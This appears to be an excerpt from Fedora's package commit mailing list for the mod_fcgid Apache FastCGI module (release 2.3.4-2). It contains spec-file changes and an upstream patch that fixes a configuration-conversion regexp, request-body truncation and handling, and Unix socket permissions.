+int bridge_request(request_rec * r, int role, const char *argv0,
+                   fcgid_wrapper_conf * wrapper_conf)
+{
+    apr_pool_t *request_pool = r->main ? r->main->pool : r->pool;
+    apr_bucket_brigade *output_brigade;
+    apr_bucket *bucket_eos;
+    char **envp = ap_create_environment(request_pool,
+                                        r->subprocess_env);
+    int rc;
+
+    /* Create brigade for the request to fastcgi server */
+    output_brigade =
+        apr_brigade_create(request_pool, r->connection->bucket_alloc);
+
+    /* Build the begin request and environ request, append them to output_brigade */
+    if (!build_begin_block
+        (role, r, r->connection->bucket_alloc, output_brigade)
+        || !build_env_block(r, envp, r->connection->bucket_alloc,
+                            output_brigade)) {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,
+                      "mod_fcgid: can't build begin or env request");
+        return HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    if (role == FCGI_RESPONDER) {
+        rc = add_request_body(r, request_pool, output_brigade);
+        if (rc) {
+            return rc;
+        }
+    }
+
     /* The eos bucket now */
     bucket_eos = apr_bucket_eos_create(r->connection->bucket_alloc);
     APR_BRIGADE_INSERT_TAIL(output_brigade, bucket_eos);
Index: modules/fcgid/fcgid_conf.h
===================================================================
--- modules/fcgid/fcgid_conf.h	(revision 823071)
+++ modules/fcgid/fcgid_conf.h	(working copy)
@@ -54,7 +54,8 @@
 } auth_conf;
 
 typedef struct {
-    char args[_POSIX_PATH_MAX];
+    const char *exe;            /* executable file path */
+    char args[_POSIX_PATH_MAX]; /* entire command line */
     apr_ino_t inode;
     apr_dev_t deviceid;
     apr_size_t share_group_id;
Index: modules/fcgid/fcgid_proc_unix.c
===================================================================
--- modules/fcgid/fcgid_proc_unix.c	(revision 827986)
+++ modules/fcgid/fcgid_proc_unix.c	(working copy)
@@ -43,6 +43,17 @@
 #include "fcgid_pm.h"
 #include "fcgid_spawn_ctl.h"
 
+/* apr forward compatibility */
+#ifndef APR_FPROT_UWRITE
+#define APR_FPROT_UWRITE        APR_UWRITE
+#endif
+#ifndef APR_FPROT_UREAD
+#define APR_FPROT_UREAD         APR_UREAD
+#endif
+#ifndef APR_FPROT_UEXECUTE
+#define APR_FPROT_UEXECUTE      APR_UEXECUTE
+#endif
+
 #if MODULE_MAGIC_NUMBER_MAJOR < 20081201
 #define ap_unixd_config unixd_config
 // #define ap_unixd_setup_child unixd_setup_child


Index: mod_fcgid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/F-12/mod_fcgid.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- mod_fcgid.spec	13 Oct 2009 13:10:45 -0000	1.22
+++ mod_fcgid.spec	21 Oct 2009 13:30:53 -0000	1.23
@@ -16,7 +16,7 @@
 
 Name:		mod_fcgid
 Version:	2.3.4
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	FastCGI interface module for Apache 2
 Group:		System Environment/Daemons
 License:	ASL 2.0
@@ -29,6 +29,7 @@ Source10:	fastcgi.te
 Source11:	fastcgi-2.5.te
 Source12:	fastcgi.fc
 Patch0:		mod_fcgid-2.3.4-fixconf-shellbang.patch
+Patch1:		mod_fcgid-2.3.4-svn827039.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	httpd-devel >= 2.0, pkgconfig
 Requires:	httpd-mmn = %([ -a %{_includedir}/httpd/.mmn ] && %{__cat} %{_includedir}/httpd/.mmn || echo missing)
@@ -92,6 +93,17 @@ SELinux policy module supporting FastCGI
 # Fix shellbang in fixconf script for our location of sed
 %patch0 -p1
 
+# * Fix regexp in fixconf script that resulted in a prefix of "FcgidFcgid"
+#   on the updated directives
+# * Fix possible corruption or truncation of request bodies that exceed
+#   FcgidMaxRequestInMem (regression since mod_fcgid 2.2, which effectively
+#   ignored FcgidMaxRequestInMem if larger than 8K)
+# * Fix handling of the request body when a FastCGI
+#   access checker/authenticator/authorizer (AAA) was configured
+# * Fix handling of FcgidCmdOptions so that it can apply to wrapper scripts
+#   that were defined with command-line arguments on the FcgidWrapper directive
+%patch1 -p0
+
 %build
 APXS=/usr/sbin/apxs ./configure.apxs
 %{__make}
@@ -171,6 +183,11 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 21 2009 Paul Howarth <paul at city-fan.org> 2.3.4-2
+- Add fixes from upstream svn for a number of issues, most notably that the
+  fixconf script had an error in the regexp, which resulted in a prefix of
+  "FcgidFcgid" on the updated directives
+
 * Mon Oct 12 2009 Paul Howarth <paul at city-fan.org> 2.3.4-1
 - Update to 2.3.4 (configuration directives changed again)
 - Add fixconf.sed script for config file directives update



From pghmcfc at fedoraproject.org  Wed Oct 21 13:30:53 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Wed, 21 Oct 2009 13:30:53 +0000 (UTC)
Subject: rpms/mod_fcgid/devel mod_fcgid-2.3.4-svn827039.patch, NONE,
	1.1 mod_fcgid.spec, 1.22, 1.23
Message-ID: <20091021133053.E6BE411C00E8@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/mod_fcgid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10011/devel

Modified Files:
	mod_fcgid.spec 
Added Files:
	mod_fcgid-2.3.4-svn827039.patch 
Log Message:
Add fixes from upstream svn for a number of issues, most notably that the fixconf script had an error in the regexp, which resulted in a prefix of 'FcgidFcgid' on the updated directives

mod_fcgid-2.3.4-svn827039.patch:
 CHANGES-FCGID                     |   19 +++++++
 build/fixconf.sed                 |   64 +++++++++++++-------------
 docs/manual/mod/mod_fcgid.html.en |    6 ++
 docs/manual/mod/mod_fcgid.xml     |    6 ++
 modules/fcgid/fcgid_bridge.c      |   91 ++++++++++++++++++++++----------------
 modules/fcgid/fcgid_conf.c        |   27 ++++++-----
 modules/fcgid/fcgid_conf.h        |    3 -
 modules/fcgid/fcgid_pm.h          |    2 
 modules/fcgid/fcgid_pm_main.c     |    4 -
 modules/fcgid/fcgid_pm_unix.c     |    6 +-
 modules/fcgid/fcgid_pm_win.c      |    6 +-
 modules/fcgid/fcgid_proc_unix.c   |   27 ++++++++++-
 modules/fcgid/fcgid_proc_win.c    |   10 ++--
 13 files changed, 174 insertions(+), 97 deletions(-)

--- NEW FILE mod_fcgid-2.3.4-svn827039.patch ---
Index: build/fixconf.sed
===================================================================
--- build/fixconf.sed	(revision 823071)
+++ build/fixconf.sed	(working copy)
@@ -53,35 +53,35 @@
 s/^ZombieScanInterval/FcgidZombieScanInterval/g
 # Next we fix all other occurences without matching
 # the ones, that are already OK
-s/\([^D]\)BusyScanInterval/\1FcgidBusyScanInterval/g
-s/\([^D]\)BusyTimeout/\1FcgidBusyTimeout/g
-s/\([^D]\)DefaultInitEnv/\1FcgidInitialEnv/g
-s/\([^D]\)DefaultMaxClassProcessCount/\1FcgidMaxProcessesPerClass/g
-s/\([^D]\)DefaultMinClassProcessCount/\1FcgidMinProcessesPerClass/g
-s/\([^D]\)ErrorScanInterval/\1FcgidErrorScanInterval/g
-s/\([^D]\)FastCgiAccessChecker/\1FcgidAccessChecker/g
-s/\([^D]\)FastCgiAccessCheckerAuthoritative/\1FcgidAccessCheckerAuthoritative/g
-s/\([^D]\)FastCgiAuthenticator/\1FcgidAuthenticator/g
-s/\([^D]\)FastCgiAuthenticatorAuthoritative/\1FcgidAuthenticatorAuthoritative/g
-s/\([^D]\)FastCgiAuthorizer/\1FcgidAuthorizer/g
-s/\([^D]\)FastCgiAuthorizerAuthoritative/\1FcgidAuthorizerAuthoritative/g
-s/\([^D]\)FCGIWrapper/\1FcgidWrapper/g
-s/\([^D]\)IdleScanInterval/\1FcgidIdleScanInterval/g
-s/\([^D]\)IdleTimeout/\1FcgidIdleTimeout/g
-s/\([^D]\)IPCCommTimeout/\1FcgidIOTimeout/g
-s/\([^D]\)IPCConnectTimeout/\1FcgidConnectTimeout/g
-s/\([^D]\)MaxProcessCount/\1FcgidMaxProcesses/g
-s/\([^D]\)MaxRequestInMem/\1FcgidMaxRequestInMem/g
-s/\([^D]\)MaxRequestLen/\1FcgidMaxRequestLen/g
-s/\([^D]\)MaxRequestsPerProcess/\1FcgidMaxRequestsPerProcess/g
-s/\([^D]\)OutputBufferSize/\1FcgidOutputBufferSize/g
-s/\([^D]\)PassHeader/\1FcgidPassHeader/g
-s/\([^D]\)PHP_Fix_Pathinfo_Enable/\1FcgidFixPathinfo/g
-s/\([^D]\)ProcessLifeTime/\1FcgidProcessLifeTime/g
-s/\([^D]\)SharememPath/\1FcgidProcessTableFile/g
-s/\([^D]\)SocketPath/\1FcgidIPCDir/g
-s/\([^D]\)SpawnScore/\1FcgidSpawnScore/g
-s/\([^D]\)SpawnScoreUpLimit/\1FcgidSpawnScoreUpLimit/g
-s/\([^D]\)TerminationScore/\1FcgidTerminationScore/g
-s/\([^D]\)TimeScore/\1FcgidTimeScore/g
-s/\([^D]\)ZombieScanInterval/\1FcgidZombieScanInterval/g
+s/\([^d]\)BusyScanInterval/\1FcgidBusyScanInterval/g
+s/\([^d]\)BusyTimeout/\1FcgidBusyTimeout/g
+s/\([^d]\)DefaultInitEnv/\1FcgidInitialEnv/g
+s/\([^d]\)DefaultMaxClassProcessCount/\1FcgidMaxProcessesPerClass/g
+s/\([^d]\)DefaultMinClassProcessCount/\1FcgidMinProcessesPerClass/g
+s/\([^d]\)ErrorScanInterval/\1FcgidErrorScanInterval/g
+s/\([^d]\)FastCgiAccessChecker/\1FcgidAccessChecker/g
+s/\([^d]\)FastCgiAccessCheckerAuthoritative/\1FcgidAccessCheckerAuthoritative/g
+s/\([^d]\)FastCgiAuthenticator/\1FcgidAuthenticator/g
+s/\([^d]\)FastCgiAuthenticatorAuthoritative/\1FcgidAuthenticatorAuthoritative/g
+s/\([^d]\)FastCgiAuthorizer/\1FcgidAuthorizer/g
+s/\([^d]\)FastCgiAuthorizerAuthoritative/\1FcgidAuthorizerAuthoritative/g
+s/\([^d]\)FCGIWrapper/\1FcgidWrapper/g
+s/\([^d]\)IdleScanInterval/\1FcgidIdleScanInterval/g
+s/\([^d]\)IdleTimeout/\1FcgidIdleTimeout/g
+s/\([^d]\)IPCCommTimeout/\1FcgidIOTimeout/g
+s/\([^d]\)IPCConnectTimeout/\1FcgidConnectTimeout/g
+s/\([^d]\)MaxProcessCount/\1FcgidMaxProcesses/g
+s/\([^d]\)MaxRequestInMem/\1FcgidMaxRequestInMem/g
+s/\([^d]\)MaxRequestLen/\1FcgidMaxRequestLen/g
+s/\([^d]\)MaxRequestsPerProcess/\1FcgidMaxRequestsPerProcess/g
+s/\([^d]\)OutputBufferSize/\1FcgidOutputBufferSize/g
+s/\([^d]\)PassHeader/\1FcgidPassHeader/g
+s/\([^d]\)PHP_Fix_Pathinfo_Enable/\1FcgidFixPathinfo/g
+s/\([^d]\)ProcessLifeTime/\1FcgidProcessLifeTime/g
+s/\([^d]\)SharememPath/\1FcgidProcessTableFile/g
+s/\([^d]\)SocketPath/\1FcgidIPCDir/g
+s/\([^d]\)SpawnScore/\1FcgidSpawnScore/g
+s/\([^d]\)SpawnScoreUpLimit/\1FcgidSpawnScoreUpLimit/g
+s/\([^d]\)TerminationScore/\1FcgidTerminationScore/g
+s/\([^d]\)TimeScore/\1FcgidTimeScore/g
+s/\([^d]\)ZombieScanInterval/\1FcgidZombieScanInterval/g
Index: CHANGES-FCGID
===================================================================
--- CHANGES-FCGID	(revision 823071)
+++ CHANGES-FCGID	(working copy)
@@ -1,4 +1,23 @@
                                                          -*- coding: utf-8 -*-
+Changes with mod_fcgid 2.3.5
+
+  *) Fix a bug in fixconf.sed that resulted in a prefix of "FcgidFcgid" on the
+     updated directives.  [Dan Hulme <dhulme gmail.com>]
+
+  *) Fix possible corruption or truncation of request bodies which exceed
+     FcgidMaxRequestInMem.  This is a regression since mod_fcgid 2.2, which
+     effectively ignored FcgidMaxRequestInMem if larger than 8K.  PR 48021.
+     [Jeff Trawick]
+
+  *) Fix handling of the request body when a FastCGI access checker/
+     authenticator/authorizer (AAA) was configured.  The body wasn't available
+     for the request handler.  PR 47973.
+     [Jeff Trawick, Barry Scott <barry.scott onelan.co.uk>]
+
+  *) Fix handling of FcgidCmdOptions so that it can apply to wrapper scripts
+     which were defined with command-line arguments on the FcgidWrapper
+     directive.  [Jeff Trawick]
+
 Changes with mod_fcgid 2.3.4
 
   *) Corrected unix 'make install' target regression in 2.3.3.  [Jeff Trawick]
Index: docs/manual/mod/mod_fcgid.html.en
===================================================================
--- docs/manual/mod/mod_fcgid.html.en	(revision 823071)
+++ docs/manual/mod/mod_fcgid.html.en	(working copy)
@@ -827,6 +827,9 @@
       <code class="directive"><a href="#fcgidminprocessesperclass">FcgidMinProcessesPerClass</a></code>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This idle timeout check is performed at the frequency of the configured 
+      <code class="directive"><a href="#fcgididlescaninterval">FcgidIdleScanInterval</a></code>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <code class="directive"><a href="#fcgidcmdoptions">FcgidCmdOptions</a></code> to apply
@@ -1077,6 +1080,9 @@
       <code class="directive"><a href="#fcgidminprocessesperclass">FcgidMinProcessesPerClass</a></code>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This process lifetime check is performed at the frequency of the configured 
+      <code class="directive"><a href="#fcgididlescaninterval">FcgidIdleScanInterval</a></code>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <code class="directive"><a href="#fcgidcmdoptions">FcgidCmdOptions</a></code> to apply
Index: docs/manual/mod/mod_fcgid.xml
===================================================================
--- docs/manual/mod/mod_fcgid.xml	(revision 823071)
+++ docs/manual/mod/mod_fcgid.xml	(working copy)
@@ -778,6 +778,9 @@
       <directive module="mod_fcgid">FcgidMinProcessesPerClass</directive>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This idle timeout check is performed at the frequency of the configured 
+      <directive module="mod_fcgid">FcgidIdleScanInterval</directive>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <directive module="mod_fcgid">FcgidCmdOptions</directive> to apply
@@ -969,6 +972,9 @@
       <directive module="mod_fcgid">FcgidMinProcessesPerClass</directive>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This process lifetime check is performed at the frequency of the configured 
+      <directive module="mod_fcgid">FcgidIdleScanInterval</directive>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <directive module="mod_fcgid">FcgidCmdOptions</directive> to apply
Index: modules/fcgid/fcgid_proc_unix.c
===================================================================
--- modules/fcgid/fcgid_proc_unix.c	(revision 823071)
+++ modules/fcgid/fcgid_proc_unix.c	(working copy)
@@ -259,6 +259,17 @@
         return errno;
     }
 
+    /* IPC directory permissions are safe, but avoid confusion */
+    /* Not all flavors of unix use the current umask for AF_UNIX perms */
+
+    rv = apr_file_perms_set(unix_addr.sun_path, APR_FPROT_UREAD|APR_FPROT_UWRITE|APR_FPROT_UEXECUTE);
+    if (rv != APR_SUCCESS) {
+        ap_log_error(APLOG_MARK, APLOG_CRIT, rv, main_server,
+                     "mod_fcgid: Couldn't set permissions on unix domain socket %s",
+                     unix_addr.sun_path);
+        return rv;
+    }
+
     /* Listen the socket */
     if (listen(unix_socket, DEFAULT_FCGID_LISTENBACKLOG) < 0) {
         ap_log_error(APLOG_MARK, APLOG_ERR, errno, main_server,
@@ -747,8 +758,11 @@
         apr_size_t len;
         const char* base;
         if ((rv = apr_bucket_read(e, &base, &len,
-                                  APR_BLOCK_READ)) != APR_SUCCESS)
+                                  APR_BLOCK_READ)) != APR_SUCCESS) {
+            ap_log_rerror(APLOG_MARK, APLOG_WARNING, rv, ipc_handle->request,
+                          "mod_fcgid: can't read request from bucket");
             return rv;
+        }
 
         vec[nvec].iov_len = len;
         vec[nvec].iov_base = (char*) base;
Index: modules/fcgid/fcgid_proc_win.c
===================================================================
--- modules/fcgid/fcgid_proc_win.c	(revision 823071)
+++ modules/fcgid/fcgid_proc_win.c	(working copy)
@@ -59,7 +59,7 @@
     return APR_SUCCESS;
 }
 
-apr_status_t proc_spawn_process(char *wrapperpath, fcgid_proc_info *procinfo,
+apr_status_t proc_spawn_process(char *wrapper_cmdline, fcgid_proc_info *procinfo,
                                 fcgid_procnode *procnode)
 {
     HANDLE *finish_event, listen_handle;
@@ -79,7 +79,7 @@
 
     /* Build wrapper args */
     argc = 0;
-    tmp = wrapperpath;
+    tmp = wrapper_cmdline;
     while (1) {
         word = ap_getword_white(procnode->proc_pool, &tmp);
         if (word == NULL || *word == '\0')
@@ -165,7 +165,7 @@
                != APR_SUCCESS
         || (rv = apr_procattr_dir_set(proc_attr,
                      ap_make_dirstr_parent(procnode->proc_pool,
-                         (wrapperpath && wrapperpath[0] != '\0') 
+                         (wrapper_cmdline && wrapper_cmdline[0] != '\0') 
                               ? wargv[0] : procinfo->cgipath))) != APR_SUCCESS
         || (rv = apr_procattr_cmdtype_set(proc_attr, APR_PROGRAM))
                != APR_SUCCESS
@@ -184,10 +184,10 @@
     }
 
     /* fork and exec now */
-    if (wrapperpath != NULL && wrapperpath[0] != '\0') {
+    if (wrapper_cmdline != NULL && wrapper_cmdline[0] != '\0') {
         ap_log_error(APLOG_MARK, APLOG_NOTICE, 0, procinfo->main_server,
                      "mod_fcgid: call %s with wrapper %s",
-                     procinfo->cgipath, wrapperpath);
+                     procinfo->cgipath, wrapper_cmdline);
         if ((rv = apr_proc_create(procnode->proc_id, wargv[0],
                                   wargv, proc_environ, proc_attr,
                                   procnode->proc_pool)) != APR_SUCCESS) {
Index: modules/fcgid/fcgid_pm_main.c
===================================================================
--- modules/fcgid/fcgid_pm_main.c	(revision 823071)
+++ modules/fcgid/fcgid_pm_main.c	(working copy)
@@ -531,9 +531,9 @@
     }
 
     /* Spawn the process now */
-    /* XXX Spawn uses wrapperpath, but log uses cgipath ? */
+    /* XXX Spawn uses wrapper_cmdline, but log uses cgipath ? */
     if ((rv =
-        proc_spawn_process(command->wrapperpath, &procinfo,
+        proc_spawn_process(command->wrapper_cmdline, &procinfo,
                            procnode)) != APR_SUCCESS) {
         ap_log_error(APLOG_MARK, APLOG_WARNING, rv, main_server,
                      "mod_fcgid: spawn process %s error",
Index: modules/fcgid/fcgid_conf.c
===================================================================
--- modules/fcgid/fcgid_conf.c	(revision 823071)
+++ modules/fcgid/fcgid_conf.c	(working copy)
@@ -748,8 +748,11 @@
     apr_size_t cur_id;
 } wrapper_id_info;
 
+/* FIXME thread safety issues when FcgidWrapper is used in .htaccess;
+ * see use of pconf
+ */
 const char *set_wrapper_config(cmd_parms * cmd, void *dirconfig,
-                               const char *wrapperpath,
+                               const char *wrapper_cmdline,
                                const char *extension,
                                const char *virtual)
 {
@@ -760,13 +763,11 @@
     wrapper_id_info *id_info;
     apr_size_t *wrapper_id;
     fcgid_wrapper_conf *wrapper = NULL;
+    apr_pool_t *wrapper_conf_pool = cmd->server->process->pconf; /* bad */
     fcgid_dir_conf *config = (fcgid_dir_conf *) dirconfig;
 
     /* Sanity checks */
 
-    if (wrapperpath == NULL)
-        return "Invalid wrapper file";
-
     if (virtual == NULL && extension != NULL && !strcasecmp(extension, WRAPPER_FLAG_VIRTUAL)) {
         virtual = WRAPPER_FLAG_VIRTUAL;
         extension = NULL;
@@ -798,21 +799,21 @@
                               apr_pool_cleanup_null,
                               cmd->server->process->pool);
     }
-    /* Get wrapper_id for wrapperpath */
+    /* Get wrapper_id for wrapper_cmdline */
     if ((wrapper_id =
-         apr_hash_get(id_info->wrapper_id_hash, wrapperpath,
-                      strlen(wrapperpath))) == NULL) {
+         apr_hash_get(id_info->wrapper_id_hash, wrapper_cmdline,
+                      strlen(wrapper_cmdline))) == NULL) {
         wrapper_id =
             apr_pcalloc(cmd->server->process->pool, sizeof(*wrapper_id));
         *wrapper_id = id_info->cur_id++;
-        apr_hash_set(id_info->wrapper_id_hash, wrapperpath,
-                     strlen(wrapperpath), wrapper_id);
+        apr_hash_set(id_info->wrapper_id_hash, wrapper_cmdline,
+                     strlen(wrapper_cmdline), wrapper_id);
     }
 
-    wrapper = apr_pcalloc(cmd->server->process->pconf, sizeof(*wrapper));
+    wrapper = apr_pcalloc(wrapper_conf_pool, sizeof(*wrapper));
 
     /* Get wrapper path */
-    tmp = wrapperpath;
+    tmp = wrapper_cmdline;
     path = ap_getword_white(cmd->temp_pool, &tmp);
     if (path == NULL || *path == '\0')
         return "Invalid wrapper config";
@@ -823,7 +824,9 @@
         return missing_file_msg(cmd->pool, "Wrapper", path, rv);
     }
 
-    apr_cpystrn(wrapper->args, wrapperpath, _POSIX_PATH_MAX);
+    wrapper->exe = apr_pstrdup(wrapper_conf_pool, path);
+    /* FIXME no need to embed in structure (subject to correct pool usage) */
+    apr_cpystrn(wrapper->args, wrapper_cmdline, _POSIX_PATH_MAX);
     wrapper->inode = finfo.inode;
     wrapper->deviceid = finfo.device;
     wrapper->share_group_id = *wrapper_id;
Index: modules/fcgid/fcgid_pm_win.c
===================================================================
--- modules/fcgid/fcgid_pm_win.c	(revision 823071)
+++ modules/fcgid/fcgid_pm_win.c	(working copy)
@@ -140,13 +140,13 @@
     command->virtualhost = r->server->server_hostname;
 
     /* Update fcgid_command with wrapper info */
-    command->wrapperpath[0] = '\0';
+    command->wrapper_cmdline[0] = '\0';
     if ((wrapperconf = get_wrapper_info(argv0, r))) {
-        apr_cpystrn(command->wrapperpath, wrapperconf->args, _POSIX_PATH_MAX);
+        apr_cpystrn(command->wrapper_cmdline, wrapperconf->args, _POSIX_PATH_MAX);
         command->deviceid = wrapperconf->deviceid;
         command->inode = wrapperconf->inode;
         command->share_grp_id = wrapperconf->share_group_id;
-        cmd_to_spawn = command->wrapperpath;
+        cmd_to_spawn = wrapperconf->exe;
     }
     else {
         cmd_to_spawn = command->cgipath;
Index: modules/fcgid/fcgid_pm_unix.c
===================================================================
--- modules/fcgid/fcgid_pm_unix.c	(revision 823071)
+++ modules/fcgid/fcgid_pm_unix.c	(working copy)
@@ -411,13 +411,13 @@
     command->virtualhost = r->server->server_hostname;
 
     /* Update fcgid_command with wrapper info */
-    command->wrapperpath[0] = '\0';
+    command->wrapper_cmdline[0] = '\0';
     if ((wrapperconf = get_wrapper_info(argv0, r))) {
-        apr_cpystrn(command->wrapperpath, wrapperconf->args, _POSIX_PATH_MAX);
+        apr_cpystrn(command->wrapper_cmdline, wrapperconf->args, _POSIX_PATH_MAX);
         command->deviceid = wrapperconf->deviceid;
         command->inode = wrapperconf->inode;
         command->share_grp_id = wrapperconf->share_group_id;
-        cmd_to_spawn = command->wrapperpath;
+        cmd_to_spawn = wrapperconf->exe;
     }
     else {
         cmd_to_spawn = command->cgipath;
Index: modules/fcgid/fcgid_pm.h
===================================================================
--- modules/fcgid/fcgid_pm.h	(revision 823071)
+++ modules/fcgid/fcgid_pm.h	(working copy)
@@ -22,7 +22,7 @@
 
 typedef struct {
     char cgipath[_POSIX_PATH_MAX];
-    char wrapperpath[_POSIX_PATH_MAX];
+    char wrapper_cmdline[_POSIX_PATH_MAX];
     apr_ino_t inode;
     dev_t deviceid;
     apr_size_t share_grp_id;
Index: modules/fcgid/fcgid_bridge.c
===================================================================
--- modules/fcgid/fcgid_bridge.c	(revision 823071)
+++ modules/fcgid/fcgid_bridge.c	(working copy)
@@ -376,8 +376,6 @@
     if ((rv =
          proc_write_ipc(&bucket_ctx->ipc,
                         output_brigade)) != APR_SUCCESS) {
-        ap_log_rerror(APLOG_MARK, APLOG_WARNING, rv, r,
-                      "mod_fcgid: error writing data to FastCGI server");
         bucket_ctx->has_error = 1;
         return HTTP_INTERNAL_SERVER_ERROR;
     }
@@ -437,39 +435,18 @@
     return cond_status;
 }
 
-int bridge_request(request_rec * r, int role, const char *argv0,
-                   fcgid_wrapper_conf * wrapper_conf)
+static int add_request_body(request_rec *r, apr_pool_t *request_pool,
+                            apr_bucket_brigade *output_brigade)
 {
-    apr_pool_t *request_pool = r->main ? r->main->pool : r->pool;
-    server_rec *s = r->server;
-    fcgid_server_conf *sconf = ap_get_module_config(s->module_config,
+    apr_bucket *bucket_input, *bucket_header;
+    apr_file_t *fd = NULL;
+    apr_off_t cur_pos = 0, request_size = 0;
+    apr_status_t rv;
+    FCGI_Header *stdin_request_header;
+    fcgid_server_conf *sconf = ap_get_module_config(r->server->module_config,
                                                     &fcgid_module);
-    apr_status_t rv = APR_SUCCESS;
     int seen_eos;
-    apr_off_t request_size = 0;
-    apr_file_t *fd = NULL;
-    int need_truncate = 1;
-    apr_off_t cur_pos = 0;
-    FCGI_Header *stdin_request_header;
-    apr_bucket_brigade *output_brigade;
-    apr_bucket *bucket_input, *bucket_header, *bucket_eos;
-    char **envp = ap_create_environment(request_pool,
-                                        r->subprocess_env);
 
-    /* Create brigade for the request to fastcgi server */
-    output_brigade =
-        apr_brigade_create(request_pool, r->connection->bucket_alloc);
-
-    /* Build the begin request and environ request, append them to output_brigade */
-    if (!build_begin_block
-        (role, r, r->connection->bucket_alloc, output_brigade)
-        || !build_env_block(r, envp, r->connection->bucket_alloc,
-                            output_brigade)) {
-        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,
-                      "mod_fcgid: can't build begin or env request");
-        return HTTP_INTERNAL_SERVER_ERROR;
-    }
-
     /* Stdin header and body */
     /* XXX HACK: I have to read all the request into memory before sending it 
        to fastcgi application server, this prevents slow clients from 
@@ -548,6 +525,15 @@
                     apr_pool_userdata_get(&tmp, fd_key,
                                           r->connection->pool);
                     fd = tmp;
+
+                    if (fd != NULL) {
+                        if ((rv = apr_file_trunc(fd, 0)) != APR_SUCCESS) {
+                            ap_log_rerror(APLOG_MARK, APLOG_WARNING, rv, r,
+                                          "mod_fcgid: can't truncate existing "
+                                          "temporary file");
+                            return HTTP_INTERNAL_SERVER_ERROR;
+                        }
+                    }
                 }
 
                 if (fd == NULL) {
@@ -574,12 +560,9 @@
                     apr_pool_userdata_set((const void *) fd, fd_key,
                                           apr_pool_cleanup_null,
                                           r->connection->pool);
-                } else if (need_truncate) {
-                    need_truncate = 0;
-                    apr_file_trunc(fd, 0);
-                    cur_pos = 0;
                 }
-                // Write request to tmp file
+
+                /* Write request to tmp file */
                 if ((rv =
                      apr_file_write_full(fd, (const void *) data, len,
                                          &wrote_len)) != APR_SUCCESS
@@ -589,7 +572,7 @@
                                   "mod_fcgid: can't write tmp file for stdin request");
                     return HTTP_INTERNAL_SERVER_ERROR;
                 }
-                // Create file bucket
+                /* Create file bucket */
                 bucket_stdin =
                     apr_bucket_file_create(fd, cur_pos, len, r->pool,
                                            r->connection->bucket_alloc);
@@ -640,6 +623,40 @@
     }
     APR_BRIGADE_INSERT_TAIL(output_brigade, bucket_header);
 
+    return 0;
+}
+
+int bridge_request(request_rec * r, int role, const char *argv0,
+                   fcgid_wrapper_conf * wrapper_conf)
+{
+    apr_pool_t *request_pool = r->main ? r->main->pool : r->pool;
+    apr_bucket_brigade *output_brigade;
+    apr_bucket *bucket_eos;
+    char **envp = ap_create_environment(request_pool,
+                                        r->subprocess_env);
+    int rc;
+
+    /* Create brigade for the request to fastcgi server */
+    output_brigade =
+        apr_brigade_create(request_pool, r->connection->bucket_alloc);
+
+    /* Build the begin request and environ request, append them to output_brigade */
+    if (!build_begin_block
+        (role, r, r->connection->bucket_alloc, output_brigade)
+        || !build_env_block(r, envp, r->connection->bucket_alloc,
+                            output_brigade)) {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,
+                      "mod_fcgid: can't build begin or env request");
+        return HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    if (role == FCGI_RESPONDER) {
+        rc = add_request_body(r, request_pool, output_brigade);
+        if (rc) {
+            return rc;
+        }
+    }
+
     /* The eos bucket now */
     bucket_eos = apr_bucket_eos_create(r->connection->bucket_alloc);
     APR_BRIGADE_INSERT_TAIL(output_brigade, bucket_eos);
Index: modules/fcgid/fcgid_conf.h
===================================================================
--- modules/fcgid/fcgid_conf.h	(revision 823071)
+++ modules/fcgid/fcgid_conf.h	(working copy)
@@ -54,7 +54,8 @@
 } auth_conf;
 
 typedef struct {
-    char args[_POSIX_PATH_MAX];
+    const char *exe;            /* executable file path */
+    char args[_POSIX_PATH_MAX]; /* entire command line */
     apr_ino_t inode;
     apr_dev_t deviceid;
     apr_size_t share_group_id;
Index: modules/fcgid/fcgid_proc_unix.c
===================================================================
--- modules/fcgid/fcgid_proc_unix.c	(revision 827986)
+++ modules/fcgid/fcgid_proc_unix.c	(working copy)
@@ -43,6 +43,17 @@
 #include "fcgid_pm.h"
 #include "fcgid_spawn_ctl.h"
 
+/* apr forward compatibility */
+#ifndef APR_FPROT_UWRITE
+#define APR_FPROT_UWRITE        APR_UWRITE
+#endif
+#ifndef APR_FPROT_UREAD
+#define APR_FPROT_UREAD         APR_UREAD
+#endif
+#ifndef APR_FPROT_UEXECUTE
+#define APR_FPROT_UEXECUTE      APR_UEXECUTE
+#endif
+
 #if MODULE_MAGIC_NUMBER_MAJOR < 20081201
 #define ap_unixd_config unixd_config
 // #define ap_unixd_setup_child unixd_setup_child


Index: mod_fcgid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/mod_fcgid.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- mod_fcgid.spec	12 Oct 2009 15:04:41 -0000	1.22
+++ mod_fcgid.spec	21 Oct 2009 13:30:53 -0000	1.23
@@ -16,7 +16,7 @@
 
 Name:		mod_fcgid
 Version:	2.3.4
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	FastCGI interface module for Apache 2
 Group:		System Environment/Daemons
 License:	ASL 2.0
